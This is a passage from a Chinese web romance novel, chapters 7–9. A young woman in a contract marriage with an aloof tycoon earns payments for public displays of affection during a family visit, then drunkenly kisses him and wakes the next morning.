怎么回事?他怎么不躲?
不是不近女色吗?别靠这么近啊大哥,她只是演个戏。
距离实在太近,近的苏忘卿都能看清男人眼底自己的倒影。
裴景辞不愧是裴景辞,眉目深邃舒朗,鼻梁高挺,尤其嘴唇线条完美的像是造物主精心雕琢一般。
而裴景辞的目光太沉,太烫,一下子,就让苏忘卿的呼吸一乱。
她视线闪躲了一下,不受控制的再次滑到男人唇瓣上,轮廓清晰,线条干净,颜色是浅淡的粉,看起来润润的,软软的。
最主要的是,裴景辞的嘴唇距离太近,近的苏忘卿一抬头就能碰到。
苏忘卿心跳快了一个节拍,脑子里竟不受控的蹦出一个荒唐的念头:想,想亲。
这个念头刚冒出来,苏忘卿惊恐的用力眨眨眼睛。
她居然,又对着裴景辞起了不该有的念头?
苏忘卿,看清楚了,这可是海城出了名不近女色的活阎王,是曾经有女人想爬床,结果家族企业都被覆灭的存在。
淡定淡定。
她只是想恶心他,让他离远点。
千万不能……
后面的想法还没冒出来,苏忘卿震惊的发现男人的唇瓣还在朝她靠近?
怎么办怎么办?这还怎么演?
眼瞅着即将亲上,苏忘卿心里一紧,下意识想要闭上眼睛。
可下一刻,还没闭上眼睛,预想之中的温热触感也没有袭来,男人唇瓣却堪堪擦过苏忘卿唇瓣,再垂首一点,竟直接贴在了苏忘卿手里还握着的杯沿上。
苏忘卿微微一怔。
震惊的看向裴景辞,再一次对上男人浓郁的眸。
裴景辞迎着她的视线,握住苏忘卿手腕转动角度,仰头,慢条斯理喝下水,温热的水滑过喉咙,男人凸起的喉结滚动了一下。
而他紧扣着她手腕的掌心,水渍混着男人的体温正透过相贴的肌肤,一寸一寸漫上来,烫的苏忘卿手腕一麻,心跳彻底乱了节拍。
7. 第7章
室内暖色调的灯洒下来,苏忘卿愣在原地,纤细的肩背绷的笔直。
而被裴景辞扣着的手腕不受控制发麻。
再看裴景辞,刚就着她的手喝完水,浅淡的唇瓣上还沾着一点细碎的水光,润润的,将男人冷厉的唇线晕的柔和了不少。
须臾,男人缓缓松开扣着苏忘卿手腕的掌心,仿若刚才颇为暧昧的触碰从未发生过一般,淡然自若的随手接过苏忘卿手里的空杯子,骨节分明的手指握着杯壁,慢条斯理放在茶几上,动作轻的没有声响,简单的矜贵的不像话。
做完这一切,裴景辞靠回沙发椅背上,宽阔的肩背舒展出冷硬凌厉的线条。
他将手机贴回耳畔,对着电话那头淡淡吩咐:“嗯,继续。”
男人的声音清冷,舒朗,和平日里拒人于千里之外的淡漠冷肃没有任何区别。
恍惚间,苏忘卿还以为裴景辞握她手腕,就着她的手喝水的一幕,全是她一个人凭空臆想出来的错觉似的。
好一会儿,苏忘卿来慢半拍的垂着头,盯着自己的手腕。
被裴景辞握过的地方湿了一片,没了男人掌心握着,水渍变的凉凉的贴在她细腻的肌肤上。
苏忘卿懵懵的眨了眨眼,前一刻精心演出来的愧疚无措早散了个干净,耳根烫的快要烧起来,大脑一片空白。
只剩下一连串炸裂的疑问,在脑海里横冲直撞。
等等,刚才……发生了什么?
眼前这个对外宣称不近女色,不曾和任何女人有过任何肌肤之亲的裴景辞,居然攥着她的手腕,就着她的手喝水?
这种暧昧到离谱的肢体接触,他不是应该嫌恶到躲开吗?甚至直接生气离开这座别墅吗?
可现在什么情况?
该不会是……裴景辞不近女色的人设是装的吧?
苏忘卿抬眼,看向离她不到半米的男人。
暖黄的灯光温柔的洒在裴景辞身上,把他冷白的侧脸,挺翘的鼻梁和轻抿成直线的唇瓣,都勾勒的愈发清晰惊艳,每一寸轮廓都完美踩在她审美上。
男人还在淡然自若的打电话,长睫垂落,像两把小扇子般遮住了眸底所有情绪,全程没有再看苏忘卿一眼。
只有说话时,凸起的喉结滚动一下,冷白的肌肤衬着利落的线条,性感的让人移不开眼。
恍惚间,苏忘卿再一次想起刚才他低头靠近时,她下意识想闭上眼睛的一幕。
极致的社死席卷全身,苏忘卿尴尬的恨不得原地扣出一套两室一厅钻进去算了。
幸好没有真的闭眼,不然也太尴尬了。
完全没注意到,看似专心打工作电话的裴景辞,余光早已将她泛红的耳根尽收眼底。
男人金丝边框眼镜后的眸底掠过极淡的暗芒,快的如同惊鸿一瞥,转瞬便恢复端方疏冷。
只有垂在身侧的指尖,不着痕迹蜷了蜷,仿佛那上面还残留着纤细手腕温软的触感。
“嗯,三天后给我一份可行性企划书。”
男人淡淡吩咐电话那头的下属,利落按断通话,收起手机。
然后抬起眼,漆黑的眸沉沉落向还站在原地的苏忘卿。
而苏忘卿,察觉到冷冽又深邃的视线,回神,抬眸。
四目相对,苏忘卿的心脏莫名一跳。
怎么有种被看穿的错觉?
“还有事?”
裴景辞凝着眼前的女孩儿,眸色深不见底,声音淡的像一潭不起波澜的水,听不出丝毫喜怒,却带着一股子不动声色的压迫感。
苏忘卿张了张嘴,在撞上裴景辞淡然自若的眼眸时,鬼使神差的将心里话脱口而出:“您……您为什么握着我的手喝水?”
裴景辞不是不近女色吗?自己没有手吗?
干嘛非要把她的手弄湿?该不会是在报复她刚才故意泼湿他掌心吧?
闻言,裴景辞目光沉了沉,可眉峰舒展,看不出喜怒,冷白的脸颊上连半点多余的表情都没有。
须臾,男人嘴唇轻启:
“你是我太太。”
苏忘卿一愣:“……?”
她茫然的蹙了蹙眉,清澈的眸子里一片茫然。
她是他太太?
然后呢?
这和握着她的手喝水有什么关系?
“裴太太,记住你在外的身份。”
“另外,明晚需要裴太太一同回老宅一趟,没问题吧?”
苏忘卿微微一怔。
婚后回老宅听说是裴家的规矩,裴家子孙无论多忙都要每月回老宅看望老人一次,哪怕是商界令人闻风丧胆的裴景辞,也不例外。
这是苏忘卿答应联姻之前,就知道的事情。
苏忘卿点了点头:“好的。”
便见裴景辞淡淡颔首,便径直收回目光,起身,整理了一下笔挺的西装,大步流星朝着电梯方向走去。
电梯门合上,上行至二楼,男人走出电梯,径直走进最西边的书房,关上房门。
全程,没再分给苏忘卿一个眼神。
苏忘卿站在原地,看着紧闭的书房门,后知后觉反应过来一个问题:裴景辞让她记住在外面的身份是什么意思?
什么身份?
裴太太的身份吗?
为什么?
等等……难道裴景辞刚才在西餐厅,真的听到她夸弹钢琴的小奶狗好看了?
不是吧,这个男人也太小气了,夸别的男人一句都不行?
不过转念一想,她现在是裴太太,代表着裴家和裴景辞,这二者无论哪一个,在外面的形象都不容有任何闪失。
那么他在外面对着别的男人犯花痴,确实不妥……
所以,裴景辞突然做出攥住她手腕喝水这种肌肤相贴的举动,是侧面让她记住自己的身份?
原来如此。
就说他怎么突然近女色了。
还好还好,裴景辞不近女色是真的。
那就没事了。
苏忘卿放松下来,哼着小曲上楼洗漱。
半小时后,她舒舒服服陷在主卧宽敞的大床上,刚拿起手机,就弹出了林铭月的消息:【活着吗?】
苏忘卿:【……明天的限量款手链没了。】
对方秒回:【我错了。】
【主要你们家裴总气场太强大了,我当场腿软,真的害怕。】
气场太强大?
不知怎么的,苏忘卿又想起刚才在客厅的那一幕:男人握着她的手腕,唇瓣抵着杯沿,近在咫尺的模样。
要不是知道裴景辞只是为了让她守身份,她都要被刚才那暧昧接触吓的连夜跑路了。
开玩笑,有个不近女色不回家的豪门老公,才是她咸鱼人生的顶配好吗?
·
第二天,苏忘卿睡到自然醒,下楼时偌大的客厅早已没了裴景辞的身影。
管家说裴先生一早就去公司了。
刚吃完早餐,苏母的电话就打了过来,嘘寒问暖,句句都在关心她和裴景辞的相处情况。
苏忘卿自然一顿猛夸,把二人的关系说的和睦又融洽。
末了,苏母开口问:“什么时候带景辞回来一趟?”
“你们结婚后,还没有回来过。”
苏忘卿不想回去。
结婚前,苏忘卿在家里连点个外卖都不敢,更不敢半夜三更泡吧之类的,而且……家里的气氛,其实苏忘卿不是特别喜欢。
“过段时间吧。”
苏忘卿温温柔柔回应着:“景辞最近比较忙。”
苏母:“行吧。”
挂了电话后,苏忘卿盯着手机屏幕,有些恍惚。
原来,她真的结婚了啊。
还可以想不回就不回自己家里,完全实现了人生自由。
太爽了。
这时,手机响了一下,是林铭月发来的微信。
林铭月:【那你们今晚肯定要同床共枕了吧?】
苏忘卿蹙了蹙眉。
的确,在这婚房,裴景辞还能睡书房,可到了裴老太太的地盘,裴景辞肯定不会明目张胆睡书房了。
指不定真需要同床共枕。
不知想到了什么,苏忘卿挑了挑眉,打下一行字:【他不近女色,慌的是他。】发送。
发完消息,苏忘卿不甚在意的放下手机,继续看电视。
途中,管家陈阿姨洗了水果,弄了甜品摆在苏忘卿手边。
苏忘卿看了一眼盘子里的水果,随口吩咐:“陈姨,我想吃葡萄,帮我弄一下,谢谢。”
陈姨听到葡萄两个字,面露难色。
却还是老老实实去弄了。
半个小时后,陈姨又端来一个果盘,只是里面的葡萄并没有像昨天早晨吃到的那样特别整齐,就跟机器剥了皮似的。
而今天这盘剥了皮的葡萄,即便看起来很用心了,却还是……看起来卖相很一般。
“这葡萄……”
苏忘卿看着没什么食欲的葡萄,很是好奇:“怎么和昨天的差这么多?”
陈阿姨:“……裴太太,昨天那葡萄……是小张剥的,她今天请假了,所以我才……”
“抱歉裴太太,我再给您换别的水果。”
苏忘卿不甚在意的摆摆手:“没事,不用了。”
这时,门外传来汽车引擎声。
苏忘卿透过落地窗看去,一辆黑色劳斯莱斯稳稳停在庭院里。
是裴景辞?
想到待会儿要去裴家老宅,苏忘卿拿起手机,接过陈阿姨递过来的手包,出了门。
庭院里,男人正靠在旁边,一身深灰色高定西装衬的他身形愈发挺拔修长。
傍晚的夕阳洒在他身上,为男人冷白的侧脸镀上了一层浅金,金丝边框眼镜折射出细碎的光,鼻梁高挺,唇线清晰,清隽矜贵的像从画里走出来的人。
苏忘卿一时间看呆了。
随即回神,扬起甜甜的笑脸,小步走过去:“裴先生。”
裴景辞视线在苏忘卿明艳的小脸儿上停留片刻,视线扫过她弯弯的眉眼,别开视线,拉开副驾驶的门:“上车。”
苏忘卿乖乖坐进车里,车内弥漫着和裴景辞身上一样的清冽好闻的气息,让人莫名心安。
车子驶出别墅,沿着盘山公路缓缓下行,窗外的风景飞速掠过。
车内很安静,只有空调出风口轻微的声响。
苏忘卿靠在座椅上,望着窗外,心情轻快。
满脑子想的都是,今晚需要几分钟就能把人恶心去睡沙发呢?
这时,驾驶座位上的男人开口:“有件事。”
苏忘卿转头看裴景辞:“嗯?”
男人单手握着方向盘,指节分明有力,专心目视前方。
另一只手从扶手箱里拿出一份整齐的文件,递到苏忘卿面前。
苏忘卿疑惑的接过,低头一看:《夫妻恩爱协议》六个大字印在封面上,下方是裴景辞的签名,笔锋凌厉,还剩一处空白,等着她签字。
苏忘卿疑惑打开文件。
第一条:在裴家亲属面前,乙方主动牵手,
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拥抱甲方等任何亲密举动,单次奖励10万元。
第二条:乙方称呼甲方“老公”等亲密称谓,单次奖励50万元。
第三条:乙方主动为甲方整理领带,夹菜等贴心细节,单次奖励5万元。
第四条:乙方在裴家长辈面前获正面夸赞,单次奖励10万元。
第五条:乙方对外坚定维护夫妻关系,宣示主权,单次奖励100万元。
第六条:甲方醉酒/不适时,乙方在外人面前对其贴身照料,每次奖励50万元。
第七条:如无必要,乙方主动亲吻甲方额头,脸颊等浅度亲密,单次奖励100万元。
第八条:如无必要,迫不得已同床而卧,甲方必须保证乙方人身安全不受冒犯,乙方可获得200万元奖励。
苏忘卿的眼睛一点一点瞪大。
她眨了眨眼,又眨了眨眼。
确认自己没看错。
牵手10万?老公50万?亲一口额头100万,同床但是能保证不受冒犯200万?
苏忘卿握着文件的指尖颤了颤,眼睛唰地一下子亮了,嘴角更是忍不住往上翘。
这哪是协议?
这是老天爷直接给她开的咸鱼绿色通道啊,不用上班不用内卷,随便演演就能躺平享福?爽翻了好吗?
苏忘卿抬头看向裴景辞,努力压下心里的狂喜,装作乖巧疑惑的样子:“裴先生,这是……?”
驾驶座上的男人注视着前方,嗓音淡淡:“奶奶她老人家年纪大了,就盼着小辈恩爱。你配合应付即可。”
“不必多想。”
苏忘卿眨了眨眼,恍然大悟。
原来是为了哄奶奶开心。
而裴景辞不近女色,肯定不愿意跟她有真的亲密接触,所以才花钱雇她这位裴太太演戏?
完美。
苏忘卿当即用力点头,小脑袋点的飞快,一脸真诚:“没问题,我懂,裴先生放心,我一定好好表现,让奶奶开开心心的。”
话一说完,苏忘卿后知后觉想起自己还有个深情人设要装。
她又清清嗓子,顺势补充道:“但是即便没有这份协议,只要裴先生需要,我也会时刻陪在身边。”
话说完,苏忘卿愉快的眨巴眨巴水雾蒙蒙的大眼睛,妥妥一副深爱眼前男人的模样
闻言,正在开车的裴景辞偏头看了苏忘卿一眼。
男人镜片后浅淡的眸光暗了暗,藏住眼底一闪而过的笑意,收回视线,低低“嗯”了一声。
苏忘卿才不管裴景辞信不信,她美滋滋捧着协议,在心里飞快算账。
待会儿到老宅后,能叫老公的地方绝对不叫裴先生,能牵手的地方必须牵手,能拥抱的地方坚决不客气。
这随随便便演几场,少说也能赚大几百万?
哇塞,今天这波,血赚。
苏忘卿深吸一口气,努力让自己冷静。
不行,冷静不了,这挣钱速度也太快了吧?
待会儿要不跟裴老太太商量商量,别搞什么一个月回来一次尽孝了,一周来一次呗。
哦,一周一次还是算了,好累。
正美滋滋胡思乱想着,余光不经意间往旁侧一掠,苏忘卿视线一滞。
只见驾驶座上的男人正专注望着前路,侧脸线条冷白利落,金丝边框眼镜滤去几分凌厉,只剩清冷禁欲。
让人特想看看这样的男人摘掉眼镜之后眼神失焦的样子。
“裴太太在看什么?”
一道低沉嗓音猝不及防传到苏忘卿耳朵里。
苏忘卿吓一跳。
再看说话的男人,修长冷白的手指正握住方向盘,目视着前方,声线淡凉,苏忘卿心里肆无忌惮的心思瞬间敛的干干净净。
“没,没什么。”
苏忘卿赶紧别开视线,支起腮装作随意看窗外风景。
心底疯狂警醒自己:美色误人美色误人,看两眼得了,裴景辞这样狠辣凉薄的大佬,能是随便肖想的?
淡定淡定,别耽误搞钱,别影响咸鱼躺平大计。
正在开车的裴景辞,余光瞥了一眼旁边女孩儿骤然绷紧的神色,眸光暗了一下,唇角的笑意却更深了些。
随即继续注视着前方,看似专心开车,仿佛刚才只是随口一问。
不多时,车子滑进裴家老宅庭院,无声无息停稳,引擎彻底静了下来。
苏忘卿深吸一口气,推开车门。
老宅门口,裴老太太正站在台阶上,笑的眼睛眯成缝。
旁边还站着乌泱泱一群人。
目测七大姑八大姨,堂哥堂姐堂弟堂妹估计全来了。
这阵仗,也太大了吧?
但一想到演一场戏就能更加顺顺利利躺赢,苏忘卿眼睛亮晶晶的。
人再多也没事儿,反正演起来不费劲,还能把日子过的更舒坦。
苏忘卿开心的主动挽上身旁男人手臂,仰起小脸儿,甜甜开口:“老公,我们走吧。”
心里又轻快又有点儿小嘚瑟:主动亲密接触一次,10万,叫老公一次,50万。
一共60万,进账。
这钱跟白捡的有什么区别?
果然嫁裴景辞嫁对了。
冲鸭。
却没注意到,被她挽着手臂的男人,在听到那一声“老公”时身体微僵一瞬,又很快恢复如常。
男人瞥了一眼苏忘卿雀跃的小脸儿,眉眼彻底柔和下来。
须臾,男人收回视线,跟着苏忘卿步调,迈步朝前。
8. 第8章
老宅门口,裴老太太早已迎在廊下。
“奶奶。”
裴景辞来到老人家面前,沉稳开口。
裴老太太看着孙子和孙媳妇牵着的手,笑的眼睛眯成了一条缝。
老人家朝苏忘卿招手,语气慈祥:“你就是忘卿吧?来,快过来,让奶奶好好看看。”
苏忘卿看看裴景辞,见他冲自己颔首,便松开他的手,放到裴老太太手上。
指间温度抽离,裴景辞悬在半空的手指蜷了一下,面上却神色未变。
而苏忘卿,乖巧站定,任由老人家细细打量,眉眼温顺腼腆。
老太太拉着苏忘卿的手,越看越满意,笑的合不拢嘴:“好孩子,长的真俊,皮肤也白,景辞那小子倒是好福气。”
“奶奶过奖了。”
苏忘卿礼貌甜甜一笑,心底却飞快默记一笔:被长辈正面夸赞,10万。
这钱赚得也太省心了。
开心。
“来来来,跟奶奶进家里去。”
老太太拉着苏忘卿一起进了门,一行人浩浩荡荡跟在身后。
苏忘卿回头看裴景辞,恰好撞进男人的目光里。
男人身姿挺拔,扫了一眼苏忘卿被裴老太太牵着的手,深邃眸底情绪难辨。
苏忘卿没懂裴景辞的视线,转头便跟着老太太进了客厅。
来到客厅,苏忘卿乖乖在老太太身边坐下。
裴景辞则在她旁边的沙发上落座。
男人坐姿端正,大手轻搭在沙发扶手上,一副清冷疏离的模样。
可视线却若有似无凝在苏忘卿身上。
苏忘卿在心里默默为裴景辞竖了个大拇指:这自然流露的演技,可比她的演技强多了。
这是为了哄奶奶开心,才这般卖力配合吗?
这时,裴老太太攥着苏忘卿的手拍了拍,眼角笑出细碎的纹路,慢悠悠慈祥开口:“忘卿呀,今年多大啦?”
“属什么的呀?”
苏忘卿腰背挺直,脸颊漾开一抹浅淡的红晕,软声应道:“二十二。”
“属老鼠。”
老太太眼底笑意更浓,语气越发欢喜:“景辞属龙,你属鼠,你们俩龙鼠配,天生一对。”
闻言,苏忘卿弯着眼睛乖巧点头。
心里却在默默腹诽:他们俩,一个是端方寡欲不近女色的商界大佬,一个是只想混吃躺平的小咸鱼,哪里配了?
但是为了多挣钱钱,苏忘卿甜甜一笑,昧着良心软软开口:“……老公也这么说。”
“是吧?老公?”
两声老公,100万到账。
欧耶,躺赢的感觉太爽了。
而旁边,突然被cue的裴景辞,搭在沙发扶手上的骨节分明的手指不动声色一蜷,指节微微泛白;
男人素来冷白的耳尖悄无声息漫上一层薄红,被鬓角碎发遮住;
而下颌线也不着痕迹绷紧了一瞬,凸起的喉结轻滚了一下。
须臾,裴景辞抬眸,看向身旁笑眼弯弯的女孩儿,深邃黑眸里裹着压不住的暗涌。
原本舒朗低沉的嗓音,染上了一丝极淡的哑,沉沉应道:“嗯。”
获得裴景辞认可,苏忘卿眼睛里的笑意更浓了,狭边两个小酒窝甜的能腻出水来。
一旁的堂妹裴若雪见状,笑眯眯凑上来好奇追问:“嫂子嫂子,那你和我哥是怎么认识的呀?”
听到这个问题,苏忘卿一愣。
他们怎么认识的?
就是有一天,妈妈突然跟她说,有一个各方面都还不错联姻人选,除了不近女色可能联姻后大概率不会回家之外,其他都挺好,长的超级帅,高大修挺,还是商界大佬,每个月500万零花钱,问她要不要见一见。
苏忘卿当即就在手机上搜了裴景辞,搜了半天才在网络上找到一张裴景辞的侧脸照片。
当即拍板决定:这颜值,还不爱回家?
不用见,直接嫁。
可苏忘卿不能这样直接回答呀。
毕竟裴景辞需要的是,她配合演出恩爱夫妻。
于是苏忘卿下意识瞥向身旁的裴景辞,见男人端起茶杯慢条斯理喝茶,完全没有要解围的意思。
苏忘卿蹙了蹙眉。
便很快收敛起脸上的负面情绪,笑的眉眼弯弯:“我们……在一场酒会上认识的。”
裴若雪兴奋的追问:“然后呢然后呢?”
“然后……”
苏忘卿微微一笑,继续编:“你哥对我一见钟情,主动追我。”
既然裴景辞不说话,那就别怪她不客气了。
那怎么说,都随她喽。
话音刚落,苏忘卿见裴景辞偏头看她。
男人目光沉沉,眸底情绪意味不明,看的苏忘卿心里一慌。
这家伙……不会秋后算账吧?
苏忘卿心虚的端起茶杯喝了一口。
而裴若雪,一脸不敢置信:“我哥对你一见钟情?主动追求?不可能吧,他从小到大从来不跟女生多说一句话,女生敢靠近他,他直接冷脸避开,现在更是没有哪个女人敢轻易靠近,我们之前都担心他……”
后面的话尚未说完,裴景辞淡淡开口,嗓音低沉:“若雪。”
裴若雪瘪了瘪嘴,乖乖坐回去,不敢再闹。
苏忘卿悄悄松了口气。
余光瞥了一眼裴景辞,见对方已收回目光,继续喝茶,仿佛刚才的维护只是顺手而为。
不管怎么样,钱挣到了就行。
粗略一算,这短短大半个小时的功夫,已经进账220万了。
这可比抢银行还迅速,最主要的是,100%安全。
好开心。
“老太太,午餐准备好了。”
一位看起来像是管家的中年男人走过来,毕恭毕敬汇报:“请移步。”
一行人便移步餐厅。
苏忘卿自然是跟在裴景辞身边坐下。
刚一落座,却见身旁的男人拿起公筷,夹起一块剔掉刺的鱼肉,放入了她的碗里。
男人动作自然的很,好像真的在为亲爱的老婆夹菜。
苏忘卿一愣。
这男人,演戏演的真够投入的。
那她怎么能输?
尤其是,协议上写了:乙方主动为甲方整理领带,夹菜等贴心细节,单次奖励5万元。
苏忘卿眼睛一亮,夹起一块鲜嫩的排骨放进裴景辞碗里,仰着小脸儿,笑的眉眼弯弯,声音甜软:“老公,吃这个。”
又夹了一筷子牛肉:“老公,也吃这个。”
心里默默记账:夹菜两次10万,叫老公一次50万,加上之前的,280万。
完美,嫁裴景辞也太值了。
苏忘卿满心满眼都是进账,眼睛亮晶晶。
却没看见,身旁的裴景辞握住筷子的手指一顿,骨节泛起极淡的白。
但他面儿上神色未变,只低低“嗯”了一声,把苏忘卿夹的排骨和牛肉都吃了。
主位上的裴老太太笑的合不拢嘴:“忘卿这孩子真乖,奶奶看到你们这么好,就放心啦。”
“忘卿,景辞,可要赶紧给奶奶生个大胖曾孙子,咱们家里才会更热闹不是?”
前一刻还开心能快速挣钱的苏忘卿:“?”
一时间,她喝到嘴里的果汁差点儿喷出来。
生曾孙?
抱歉抱歉,这剧本超纲了,严重超纲,加再多钱都不干。
而身旁的男人,后耳根悄悄染上一层薄红。
却不动声色为苏忘卿夹菜,转移了这个话题。
接下来,苏忘卿使出全身力气,为裴景辞理衣领,贴身投喂,动作亲昵自然,甜的不像话,实则全程都在心里默默数着进账。
而裴景辞始终配合着苏忘卿。
不仅没有半分推开,反而时不时替她挡掉长辈的劝酒,明里暗里护着。
只是每一次苏忘卿凑近时,男人喉结都会轻滚一下,又被他强压下去。
每一次苏忘卿叫“老公”,男人指尖也都会一紧,再神色如常应下。
一顿饭下来,苏忘卿粗略一算,
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至少进账了六百万。
她开心的眼睛都弯了,咸鱼搞钱大业进度狂飙,爽翻了。
这时,又一位长辈端起酒杯,笑呵呵道:“忘卿啊,初次见面,二叔陪你喝一杯,欢迎你加入裴家。”
苏忘卿开心上头,想都没想,端起酒杯起身:“二叔客气了,应该我敬您。”
豪气的一杯下肚。
果酒清甜,喜欢喝酒但由于经常一杯倒而很少多喝的苏忘卿,愉快的眯了眯眼睛。
紧接着,另一位长辈也举杯,然后是堂哥、表姐……
苏忘卿酒量本就浅,可耐不住挣了大钱太欢乐,她来者不拒。
几杯下肚,她嫩白脸颊渐渐泛起绯红,眼尾晕开浅浅的粉色,眼神也开始迷蒙。
苏忘卿晃了晃头,想保持清醒。
可酒意上头,身体却越来越软,竟不受控制向身旁倒去。
下一秒,苏忘卿便落入一个温热坚实的怀抱里。
顷刻间,清冽好闻的气息将她牢牢包裹。
是……裴景辞的味道?
苏忘卿迷迷糊糊睁开眼。
入目,便是裴景辞冷□□致的五官。
她抬手,努力捧住眼前清隽的一张脸,掌心贴着男人细腻的肌肤,触感绝佳。
“老——公?”
苏忘卿眨了眨水雾蒙蒙的大眼睛,声音软糯糯的带着浓浓的醉意:“你好帅呀。”
话音未落下,满室皆是压抑的笑声。
但苏忘卿无暇顾及,摇摇晃晃的捧着裴景辞的脸,越看越喜欢,小脑袋还控制不住的一点一点,软糯嘟囔着:“好想亲你呀……”
下一刻,苏忘卿身体倏地腾空而起。
裴景辞一把将她打横抱起。
男人气场沉敛,对满桌长辈颔首:“抱歉,我太太醉了,我先带她回房休息。”
不等众人反应,裴景辞抱着苏忘卿,大步离开了餐厅。
苏忘卿窝在男人温暖坚实的怀抱里,脑袋晕乎乎的,小身子蹭着他的胸膛,找了个舒服的姿势,像一只慵懒的小猫咪似的,脸颊贴上男人的颈窝。
舒坦的不动弹了。
裴景辞脚步微顿,低头看着怀里娇憨的女孩儿,眸底一片暗沉。
男人凸起的喉结滚动了一下,呼吸加重。
上楼后,推开卧室门,裴景辞将怀里的女孩儿小心翼翼放在柔软的大床上。
苏忘卿却不肯松手。
她一双柔软的手臂勾住男人脖子,小脸蹭着他的脖颈,醉眼朦胧的望着他:“你好看,不许走……”
闻言,裴景辞俯身,双臂撑在女孩儿身侧,将她牢牢圈在自己怀里。
二人距离近的呼吸交缠,男人身上清冽的气息,与苏忘卿身上的酒气交织在一起。
“苏忘卿,刚才的话……”
男人低声唤苏忘卿的名字,嗓音低哑的不像话:“可还记得?”
苏忘卿眨了眨蒙着水雾的大眼睛,茫然的轻嗯一声,小脸蛋儿醉的红扑扑的,嫩的像颗洒了水的熟透草莓,软乎乎的惹人失神:“记得呀……你好帅。”
“后面那句。”
裴景辞的声音更哑了,黑色眸底翻着滚烫的暗火,直直凝着怀里女孩儿水润嫣红的唇瓣,喉结狠狠滚动了一下:“可还记得?”
苏忘卿困惑的蹙起小眉头,醉的迷迷糊糊,脑袋晃了晃:“哪句呀……”
女孩儿脸颊绯红一片,眼尾染着勾人的绯色,瞳仁水润迷蒙。
本就饱满的唇瓣因酒意更显嫣红,此刻微微嘟着,醉态娇憨,又软又媚,勾的人心口发紧。
裴景辞缓缓俯身,动作慢的极具压迫感,指节绷的泛白,一点一点靠近。
灼热的呼吸先一步拂在女孩儿泛红的脸颊上,下一秒,男人温热的唇瓣贴住女孩儿发烫的耳畔,低沉磁性的嗓音裹着蛊惑的哑意,一字一顿,碾着她的耳尖:
“你说,想亲我。”
说到这里,男人眸色更加暗沉,唇瓣贴着女孩儿柔软的耳廓,低低补了一句,气息缱绻:“现在……可以。”
9. 第9章
裴景辞低沉蛊惑的话音贴着耳尖落下,温热呼吸扫的苏忘卿耳尖发麻。
女孩儿醉的脑子发空,只觉得眼前这张脸帅的让人挪不开眼。
她想亲。
于是苏忘卿懵懵懂懂“嗯”了一声,小脑袋晃晃悠悠往前凑,温热的呼吸扫过裴景辞微热的唇瓣。
下一秒,她仰起头,带着果酒甜香的嫣红柔软的唇瓣,像小猫咪蹭奶糕似的,软软的印在了男人唇瓣上。
裴景辞浑身一僵。
男人垂在身侧的手攥紧,骨节泛出冷白,凸起的喉结重重滚了一下。
唇上的触感柔软温热,男人金丝边框眼镜后的眸色沉成浓墨,滚烫的暗涌几乎要冲破克制,却又被他极强的自制力压住,直直凝着怀里醉的毫无防备的女孩儿。
而苏忘卿,亲完了,眨了眨水雾蒙蒙的大眼睛,软软唇瓣蹭了蹭男人唇角,软糯嘟囔:“好软……好甜。”
话音未落,男人呼吸再次一沉,低哑的嗓音裹着极致的隐忍,贴上女孩儿唇瓣,一字一顿:
“苏忘卿,再说一次。”
苏忘卿醉的脑袋发飘,只觉得唇瓣上传来的声音好听的要命。
她脸蛋儿更红了,小手胡乱揪住眼前男人的衬衫衣领,晃了晃脑袋:“好软,好甜。”
女孩儿睁着湿漉漉的大眼睛,眼神干净的没有一点杂质,纯粹的要命,也勾人的要命。
裴景辞看着眼前女孩儿完全不知自己在放火的娇憨模样,心口像是被什么东西挠了一下,又痒又烫。
他抬手,指尖轻拂过女孩儿泛红的眼尾。
良久,
男人低沉磁性的嗓音里,裹着化不开的占有欲:“只许亲我。”
而苏忘卿,傻乎乎点头,小脑袋点的像捣蒜:“好……只亲你。”
“你是我的。”
话音刚落,她便仰起发烫的小脸,凑上去再次啄了下近在咫尺的男人的唇角,眼底漾着满满当当的欢喜。
顷刻间,裴景辞凸起的喉结狠狠一滚。
他臂弯收紧,将人牢牢锢在怀里,指尖几欲嵌进她腰肢上。
须臾,裴景辞缓缓低下头,唇瓣一寸一寸贴近女孩儿嫣红的唇瓣。
可就在二人唇瓣即将相触的刹那,怀里女孩儿许是被这安稳温热的气息裹着,酒意彻底涌了上来,她小脑袋软软一歪,竟是靠在床上,睡着了?
裴景辞一怔。
男人垂眸,望着怀里睡的毫无防备的女孩儿,镜片后的眼底翻涌着旁人从未见过的宠溺暗涌。
不知过了多久,裴景辞唇角勾起一抹浅笑。
笑过之后,男人轻抬下颌,在怀里女孩儿额头上落下一个吻。
再俯身贴着女孩儿耳畔,轻声呢喃,
“小骗子。”
“每次亲完就睡,醒来就忘,不负责任。”
说完这话,裴景辞小心翼翼将熟睡的女孩儿打横抱起,轻放在床上,弯腰替她褪掉鞋子。
接着拉过被子,轻盖到女孩儿身上。
再深深看了眼床上熟睡的人,转身走进浴室。
裴景辞打开花洒,冰凉的水冲下,打湿了身上的衬衫。
男人垂眸扫了一眼,任由冷水冲刷着翻涌的燥热。
一个小时后,裴景辞关了水,双手撑在洗手台边缘,望着镜子里湿透沉敛的自己,
“不急。”
·
次日,温煦的阳光铺满整个房间。
苏忘卿揉着发胀的太阳穴,迷迷糊糊睁开眼睛。
入目,便是陌生的奢华房间,以及,沙发上躺着的正睡着的男人。
裴景辞?
这还是苏忘卿第一次见裴景辞熟睡的样子。
男人总是一丝不苟的发丝微乱的贴在额前,褪去了平日里的冷厉矜贵,睡颜安静的近乎柔和。
长长的睫毛垂落,在下眼睑上落下浅淡的阴影,高挺的鼻梁和流畅的下颌被阳光衬的愈发清隽精致,连紧抿的嘴唇都放松下来,少了疏离压迫,多了几分难得的温润。
金丝边框眼镜被放在一旁,少了眼镜的阻隔,裴景辞这个男人本就完美的脸,毫无保留的展露在眼前。
苏忘卿一怔,脑子里只剩下一个念头:也太帅了吧。
清醒时是清冷禁欲的商界大佬,睡着时竟清冷出尘的要命,想睡。
再瞥一眼自己躺的舒舒服服的大床……
果然,裴景辞不近女色。
昨晚她醉的一塌糊涂,可以说毫无反抗之力,他竟一点逾矩的举动都没有,安安分分在沙发上过了一夜,连床都没靠近?
这契约婚姻,也太让人有安全感了。
正默默感叹着,沙发上的男人轻动了一下。
裴景辞缓缓睁开眼睛,惺忪睡意渐渐褪去,男人深邃的眸渐渐浓郁,直直朝着苏忘卿望了过来。
四目相对。
苏忘卿还没从宿醉的迷糊里抽离,脑子比嘴巴慢了半拍,条件反射般,甜软的声音先一步脱口而出:
“老公,早呀。”
话音未落,苏忘卿脸上笑意一滞。
这里没有长辈,没有外人,只有他们两个人。
